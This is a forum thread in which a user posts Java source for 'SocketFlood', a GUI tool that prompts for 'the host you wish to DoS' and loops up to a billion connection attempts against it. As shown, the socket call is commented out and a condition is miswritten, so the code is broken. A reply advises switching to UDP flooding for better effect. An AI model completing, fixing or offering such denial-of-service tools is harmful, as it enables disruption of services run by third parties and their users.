This basically sends so much connections to a host.
SocketFlood.java
Sock.javaCode:/* * SocketFlood.java * Main class for project. * Created by: Paradox * July 22, 2008 */ import java.net.Socket; import java.awt.BorderLayout; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import javax.swing.JButton; import javax.swing.JFrame; import javax.swing.JMenuBar; import javax.swing.JOptionPane; import javax.swing.JScrollPane; import javax.swing.JTextArea; import javax.swing.JTextField; import javax.swing.ScrollPaneConstants; public class SocketFlood implements ActionListener{ public Socket sock = null; public String host = "";//Host public int port = 80;// Port public int connections = 1000000000;// Connections it will send protected JFrame frame; public static Sock Sock; public boolean on = false; protected JScrollPane scrollPane; protected static JTextArea textArea; protected static JTextField textField; public JMenuBar menuBar; JButton Button1 = new JButton("Start"); JButton Button2 = new JButton("Stop"); JButton Button3 = new JButton("Set IP"); private final static String newline = "\n"; public static void main(String[] args) { new SocketFlood(); } public SocketFlood() { loadGUI(true); } public void loadGUI(boolean load) { JFrame.setDefaultLookAndFeelDecorated(load); frame = new JFrame("SocketFlood! - Paradox"); frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); frame.setResizable(false); frame.setLayout(new BorderLayout()); frame.setBounds(200, 200, 400, 300); menuBar = new JMenuBar(); frame.add(menuBar, "North"); menuBar.add(Button1); menuBar.add(Button2); menuBar.add(Button3); textArea = new JTextArea(); textField = new JTextField(); frame.add(textArea); frame.add(textField, "South"); textField.addActionListener(this); Button1.addActionListener(this); Button2.addActionListener(this); Button3.addActionListener(this); JScrollPane scrollPane = new JScrollPane(); scrollPane.setVerticalScrollBarPolicy(ScrollPaneConstants.VERTICAL_SCROLLBAR_ALWAYS); scrollPane.setAutoscrolls(false); scrollPane.setViewportView(textArea); frame.add(scrollPane); frame.setVisible(load); textArea.setEditable(false); } public void startDoS() { on = true; Sock = new Sock(); (new Thread(Sock)).start(); } public void actionPerformed(ActionEvent e) { if(e.getSource() == Button1) { startDoS(); textArea.append("DoS Started on host: "+host+newline); } else if(e.getSource() == Button2) { on = false; textArea.append("DoS Stopped on host: "+host+newline); } else if(e.getSource() == Button3) { host = JOptionPane.showInputDialog("please enter the host you wish to DoS:", ""); } } }
Code:public class Sock extends SocketFlood implements Runnable{ public void run() { for(int i = 0; i < connections; i++) { if(on = true) { try { //sock = new Socket(host, port); System.out.println("Sent connection " + i + " to " + host + ": " + port); } catch(Exception e) { e.printStackTrace(); } } } } }
From what I read here, and I could be wrong because I don't know java that well.
Is that you are trying to flood with TCP, which doesn't really work that well.
You are much better off using UDP to flood.
Can You Tell me more for the Flood I'm don't understanded .. ?
Thanks![]()
Some Words Me : "♪●Software Engineer and Love Programming in Java and PHP under Ubuntu System ... ♪♥ "
Paradox since this is a tutorial I think you should explain the lines of the code in the forums or in comments in the actual coding.
There are currently 1 users browsing this thread. (0 members and 1 guests)
Bookmarks